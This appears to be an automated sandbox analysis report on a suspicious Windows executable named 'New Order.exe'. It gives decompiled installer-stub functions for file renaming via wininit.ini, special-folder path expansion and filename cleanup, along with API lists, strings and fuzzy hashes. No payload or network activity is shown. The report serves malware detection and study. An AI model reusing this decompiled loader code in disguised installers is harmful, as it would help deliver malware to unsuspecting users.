Opcode Fuzzy Hash: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction Fuzzy Hash: 06418B71804249AFCB058F95DD459AFBBB9FF44315F00802AF961AA2A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058E6, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004058E6(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405F28(2);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423fd0 =  *0x423fd0 + 1;
						return _t20;
					}
				}
				 *0x4226c8 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422140, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421d40, "%s=%s\r\n", 0x4226c8, 0x422140);
						_t56 = _t55 + 0x10;
						E00405BBA(_t43, 0x400, 0x422140, 0x422140,  *((intOrPtr*)( *0x423f50 + 0x128)));
						_t20 = E0040586F(0x422140, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E004057E4(_t51, "[Rename]\r\n") != 0) {
								_t28 = E004057E4(_t26 + 0xa, 0x4093e4);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405830(_t51 + _t29, 0x421d40, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E00405B98(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E0040586F(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x4226c8, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x004058ec
0x004058f3
0x004058f7
0x00405900
0x00405904
0x00405a43
0x00405a43
0x00000000
0x00405a43
0x00405904
0x00405910
0x00405926
0x0040594e
0x00405959
0x0040595d
0x0040597d
0x00405984
0x0040598e
0x0040599b
0x004059a0
0x004059a5
0x004059a9
0x00000000
0x00000000
0x004059b8
0x004059ba
0x004059c7
0x004059cb
0x00405a3c
0x00405a3d
0x00000000
0x004059e7
0x004059f4
0x00405a59
0x00405a60
0x00405a07
0x00405a07
0x00405a09
0x00405a12
0x00405a1d
0x00405a2f
0x00405a36
0x00000000
0x00405a36
0x00405a62
0x00405a63
0x00405a68
0x00405a6a
0x00405a77
0x00405a77
0x00405a7b
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a6c
0x00405a6c
0x00405a6f
0x00405a72
0x00405a73
0x00000000
0x00405a6c
0x004059ff
0x00405a04
0x00000000
0x00405a04
0x004059cb
0x00405928
0x00405933
0x0040593c
0x00405940
0x00000000
0x00000000
0x00405940
0x00405a4d

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000002,?,00000000,?,?,0040567B,?,00000000,000000F1,?), ref: 00405933
GetShortPathNameA.KERNEL32(?,004226C8,00000400), ref: 0040593C
GetShortPathNameA.KERNEL32(00000000,00422140,00000400), ref: 00405959
wsprintfA.USER32 ref: 00405977
GetFileSize.KERNEL32(00000000,00000000,00422140,C0000000,00000004,00422140,?,?,?,00000000,000000F1,?), ref: 004059B2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 004059C1
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421D40,00000000,-0000000A,004093E4,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405A1D
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405A2F
GlobalFree.KERNEL32 ref: 00405A36
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A3D

Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Strings

[Rename], xrefs: 004059E7, 004059F9
%s=%s, xrefs: 0040596D
@!B, xrefs: 0040594E

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$@!B$[Rename]
API String ID: 3445103937-2946522640
Opcode ID: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction ID: 3fdb6a032fd62a2424e34f1ba2115feadd67922d203a780a084708b988c1bb31
Opcode Fuzzy Hash: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction Fuzzy Hash: C8410231B01B167BD7206B619D89F6B3A5CEF44755F04013AFD05F62D2E67CA8008EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405BBA, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00405BBA(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				signed int _t74;
				signed int _t75;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t36 =  *( *0x42371c - 4 + _t36 * 4);
				}
				_t74 =  *0x423f78 + _t36;
				_t37 = 0x422ee0;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422ee0;
				if(_a4 - 0x422ee0 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E00405BBA(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422ee0;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x425000;
							E00405B98(_t86, (_t95 << 0xa) + 0x425000);
						} else {
							E00405AF6(_t86,  *0x423f48);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405DFA(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423fc4;
						if( *0x423fc4 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423f44;
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423f48,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423f48,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423f78;
							E00405A7F(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423f78, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E00405BBA(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E00405B98(_a4, _t37);
			}

0x00405bba
0x00405bba
0x00405bba
0x00405bc0
0x00405bc5
0x00405bd6
0x00405bd6
0x00405be1
0x00405be3
0x00405be8
0x00405beb
0x00405bec
0x00405bf3
0x00405bf5
0x00405bfb
0x00405bfe
0x00405bfe
0x00405dd7
0x00405dd7
0x00405ddb
0x00000000
0x00000000
0x00405c0b
0x00405c11
0x00000000
0x00000000
0x00405c17
0x00405c18
0x00405c1b
0x00405c1e
0x00405dca
0x00405dd4
0x00405dd6
0x00405dd6
0x00405dcc
0x00405dce
0x00405dd0
0x00405dd1
0x00405dd1
0x00000000
0x00405dca
0x00405c24
0x00405c28
0x00405c38
0x00405c3c
0x00405c43
0x00405c46
0x00405c4a
0x00405c50
0x00405c53
0x00405c56
0x00405c59
0x00405d74
0x00405d77
0x00405da7
0x00405daa
0x00405daf
0x00405db3
0x00405db3
0x00405db8
0x00405db9
0x00405dbe
0x00405dc1
0x00405dc3
0x00000000
0x00405dc3
0x00405d79
0x00405d7c
0x00405d91
0x00405d98
0x00405d7e
0x00405d85
0x00405d85
0x00405da0
0x00405da3
0x00405d6c
0x00405d6d
0x00405d6d
0x00000000
0x00405da3
0x00405c61
0x00405c62
0x00405c68
0x00405c6a
0x00405c84
0x00405c84
0x00405c8b
0x00405c8b
0x00405c92
0x00405c96
0x00405c96
0x00405c97
0x00405c99
0x00405cd2
0x00405cd5
0x00405ce5
0x00405ce8
0x00405cf0
0x00405cf6
0x00405cf6
0x00405d52
0x00405d52
0x00405d54
0x00000000
0x00000000
0x00405cfa
0x00405d01
0x00405d02
0x00405d04
0x00405d1e
0x00405d2c
0x00405d32
0x00405d34
0x00405d4f
0x00405d4f
0x00405d4f
0x00000000
0x00405d4f
0x00405d3a
0x00405d45
0x00405d4b
0x00405d4d
0x00000000
0x00000000
0x00000000
0x00405d4d
0x00405d06
0x00405d09
0x00000000
0x00000000
0x00405d18
0x00405d1a
0x00405d1c
0x00000000
0x00000000
0x00000000
0x00405d1c
0x00000000
0x00405d52
0x00405cdd
0x00000000
0x00405c9b
0x00405ca0
0x00405cb6
0x00405cbb
0x00405cbe
0x00405d5b
0x00405d5b
0x00405d5f
0x00405d67
0x00405d67
0x00000000
0x00405d5f
0x00405cc8
0x00405d56
0x00405d56
0x00405d59
0x00000000
0x00000000
0x00000000
0x00405d59
0x00405c99
0x00405c6c
0x00405c70
0x00000000
0x00000000
0x00405c72
0x00405c76
0x00000000
0x00000000
0x00405c78
0x00405c7c
0x00000000
0x00405c7e
0x00405c7e
0x00000000
0x00405c7e
0x00405c7c
0x00405de1
0x00405deb
0x00405df7
0x00405df7
0x00000000

APIs

GetVersion.KERNEL32(?,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405C62
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405CDD
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405CF0
SHGetSpecialFolderLocation.SHELL32(?,0040F0E0), ref: 00405D2C
SHGetPathFromIDListA.SHELL32(0040F0E0,Call), ref: 00405D3A
CoTaskMemFree.OLE32(0040F0E0), ref: 00405D45
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D67
lstrlenA.KERNEL32(Call,?,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405DB9

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405CAC
Call, xrefs: 00405BE3, 00405CAA, 00405CC7, 00405CDC, 00405CEF, 00405D0B, 00405D36, 00405D66, 00405D6C, 00405D84, 00405D97, 00405DB2, 00405DB8, 00405DC3, 00405DED
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D61

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction ID: c09fc2b2839bb59ef3d9b0e1161cb0e194e2e056f91f07e7f33828596fbb00b3
Opcode Fuzzy Hash: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction Fuzzy Hash: CE51F331A04A05AAEF215F648C88BBF3B74EF05714F10827BE911B62E0D27C5942DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405DFA, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DFA(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E004056F8(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004056B6("*?|<>/\":", _t5))) == 0) {
							E00405830(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405dfc
0x00405e04
0x00405e18
0x00405e18
0x00405e1e
0x00405e2b
0x00405e2b
0x00405e2c
0x00405e2e
0x00405e32
0x00405e34
0x00405e3d
0x00405e3f
0x00405e59
0x00405e61
0x00405e61
0x00405e66
0x00405e68
0x00405e6a
0x00405e6e
0x00405e6f
0x00405e72
0x00405e7a
0x00405e7c
0x00405e80
0x00000000
0x00000000
0x00405e86
0x00405e8b
0x00000000
0x00000000
0x00000000
0x00405e8b
0x00405e90

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\New Order.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E52
CharNextA.USER32(?,?,?,00000000), ref: 00405E5F
CharNextA.USER32(?,"C:\Users\user\Desktop\New Order.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E64
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E74

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFB, 00405E00
"C:\Users\user\Desktop\New Order.exe" , xrefs: 00405E36
*?|<>/":, xrefs: 00405E42

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\New Order.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-992384132
Opcode ID: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction ID: 8fb4f4a5a46673644b6d17db89182f96b33943a1441b7055d0135b6347a17e40
Opcode Fuzzy Hash: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction Fuzzy Hash: 0411B971804A9029EB321734DC44B7B7F88CB9A7A0F18447BD9D4722C2D67C5E429BED

Uniqueness

Uniqueness Score: -1.00%

Function 100025FE, Relevance: 12.1, APIs: 8, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E100025FE(void* __edx, intOrPtr* _a4) {
				char _v80;
				intOrPtr _v84;
				char _v92;
				intOrPtr* _t20;
				intOrPtr _t23;
				void* _t25;
				CHAR* _t26;
				void* _t27;
				void* _t32;
				void* _t34;
				void* _t36;
				intOrPtr _t38;
				void* _t41;
				intOrPtr _t42;
				void* _t44;
				char* _t45;
				int _t48;
				int _t49;
				void* _t53;
				intOrPtr _t54;
				CHAR** _t57;
				CHAR** _t58;
				void* _t59;
				void* _t60;

				_t53 = __edx;
				_t60 =  &_v84;
				_t20 = _a4;
				_t54 =  *((intOrPtr*)(_t20 + 0x814));
				_v84 = _t54;
				_t57 = (_t54 + 0x41 << 5) + _t20;
				do {
					if( *((intOrPtr*)(_t57 - 4)) != 0xffffffff) {
						_t58 = _t57;
					} else {
						_t58 =  *_t57;
					}
					_t59 = E10001541();
					_t48 = 0;
					_t23 =  *((intOrPtr*)(_t57 - 8));
					if(_t23 == 0) {
						lstrcpyA(_t59, 0x10004034);
					} else {
						_t32 = _t23 - 1;
						if(_t32 == 0) {
							_push( *_t58);
							goto L12;
						} else {
							_t34 = _t32 - 1;
							if(_t34 == 0) {
								E1000176C(_t53,  *_t58, _t58[1], _t59);
								goto L13;
							} else {
								_t36 = _t34 - 1;
								if(_t36 == 0) {
									_t49 = lstrlenA( *_t58);
									_t38 =  *0x10004058;
									if(_t49 >= _t38) {
										_t49 = _t38 - 1;
									}
									_t9 = _t49 + 1; // 0x1
									lstrcpynA(_t59,  *_t58, _t9);
									 *(_t49 + _t59) =  *(_t49 + _t59) & 0x00000000;
									_t48 = 0;
								} else {
									_t41 = _t36 - 1;
									if(_t41 == 0) {
										_t42 =  *0x10004058;
										_push(0);
										_push(0);
										_push(_t42);
										_push(_t59);
										_push(_t42);
										_push( *_t58);
										goto L16;
									} else {
										_t44 = _t41 - 1;
										if(_t44 == 0) {
											_t45 =  &_v80;
											__imp__StringFromGUID2( *_t58, _t45, 0x27);
											_push(0);
											_push(0);
											_push( *0x10004058);
											_push(_t59);
											_push(_t45);
											_push( &_v92);
											L16:
											WideCharToMultiByte(_t48, _t48, ??, ??, ??, ??, ??, ??);
										} else {
											if(_t44 == 1) {
												_push( *_t57);
												L12:
												wsprintfA(_t59, 0x10004008);
												L13:
												_t60 = _t60 + 0xc;
											}
										}
									}
								}
							}
						}
					}
					_t25 = _t57[5];
					if(_t25 != _t48 && ( *_a4 != 2 ||  *((intOrPtr*)(_t57 - 4)) > _t48)) {
						GlobalFree(_t25);
					}
					_t26 = _t57[4];
					if(_t26 != _t48) {
						if(_t26 != 0xffffffff) {
							if(_t26 > _t48) {
								E1000160E(_t26 - 1, _t59);
								goto L32;
							}
						} else {
							E1000159E(_t59);
							L32:
						}
					}
					_t27 = GlobalFree(_t59);
					_v84 = _v84 - 1;
					_t57 = _t57 - 0x20;
				} while (_v84 >= _t48);
				return _t27;
			}

0x100025fe
0x100025fe
0x10002601
0x10002609
0x1000260f
0x10002619
0x1000261b
0x1000261f
0x10002625
0x10002621
0x10002621
0x10002621
0x1000262c
0x10002631
0x10002633
0x10002635
0x100026ea
0x1000263b
0x1000263b
0x1000263c
0x100026dd
0x00000000
0x10002642
0x10002642
0x10002643
0x100026d6
0x00000000
0x10002649
0x10002649
0x1000264a
0x100026ad
0x100026af
0x100026b6
0x100026b8
0x100026b8
0x100026bb
0x100026c2
0x100026c8
0x100026cc
0x1000264c
0x1000264c
0x1000264d
0x1000268f
0x10002694
0x10002695
0x10002696
0x10002697
0x10002698
0x10002699
0x00000000
0x1000264f
0x1000264f
0x10002650
0x1000266f
0x10002678
0x1000267e
0x1000267f
0x10002680
0x10002686
0x10002687
0x1000268c
0x1000269b
0x1000269d
0x10002652
0x10002653
0x10002659
0x1000265b
0x10002661
0x10002667
0x10002667
0x10002667
0x10002653
0x10002650
0x1000264d
0x1000264a
0x10002643
0x1000263c
0x100026f0
0x100026f5
0x10002706
0x10002706
0x1000270c
0x10002711
0x10002716
0x10002722
0x10002727
0x00000000
0x1000272c
0x10002718
0x10002719
0x1000272d
0x1000272d
0x10002716
0x1000272f
0x10002735
0x10002739
0x1000273c
0x1000274d

APIs

wsprintfA.USER32 ref: 10002661
StringFromGUID2.OLE32(?,?,00000027,?,?,?,00000000), ref: 10002678
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000,?,?,?,00000000), ref: 1000269D

Part of subcall function 1000160E: lstrcpyA.KERNEL32(-10004047,00000000,?,1000118F,?,00000000), ref: 10001636

GlobalFree.KERNEL32 ref: 10002706
GlobalFree.KERNEL32 ref: 1000272F

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal$ByteCharFromMultiStringWidelstrcpywsprintf
String ID:
API String ID: 3910409330-0
Opcode ID: 87f5dfd5f3f98710c2d4cb889120a35c512483e8d73b73e88293233abc1def33
Instruction ID: 01fa9c58c50faa9564c1a8f469434e2f7c3d79e669d628752182ef5a144b3071
Opcode Fuzzy Hash: 87f5dfd5f3f98710c2d4cb889120a35c512483e8d73b73e88293233abc1def33
Instruction Fuzzy Hash: C741BF7160460AEFFB12DF60CDC496BBBEDFB082D4B120525FA458615DCB32AC58DB21

Uniqueness

Uniqueness Score: -1.00%

Function 00403EBB, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403EBB(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403ecd
0x00403f61
0x00000000
0x00403f61
0x00403ede
0x00403ee2
0x00000000
0x00000000
0x00403ee8
0x00403ef1
0x00403ef4
0x00403ef4
0x00403efa
0x00403f00
0x00403f00
0x00403f0c
0x00403f12
0x00403f19
0x00403f1c
0x00403f1f
0x00403f21
0x00403f21
0x00403f29
0x00403f2f
0x00403f2f
0x00403f39
0x00403f3e
0x00403f41
0x00403f46
0x00403f49
0x00403f49
0x00403f59
0x00403f59
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403ED8
GetSysColor.USER32(00000000), ref: 00403EF4
SetTextColor.GDI32(?,00000000), ref: 00403F00
SetBkMode.GDI32(?,?), ref: 00403F0C
GetSysColor.USER32(?), ref: 00403F1F
SetBkColor.GDI32(?,?), ref: 00403F2F
DeleteObject.GDI32(?), ref: 00403F49
CreateBrushIndirect.GDI32(?), ref: 00403F53

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
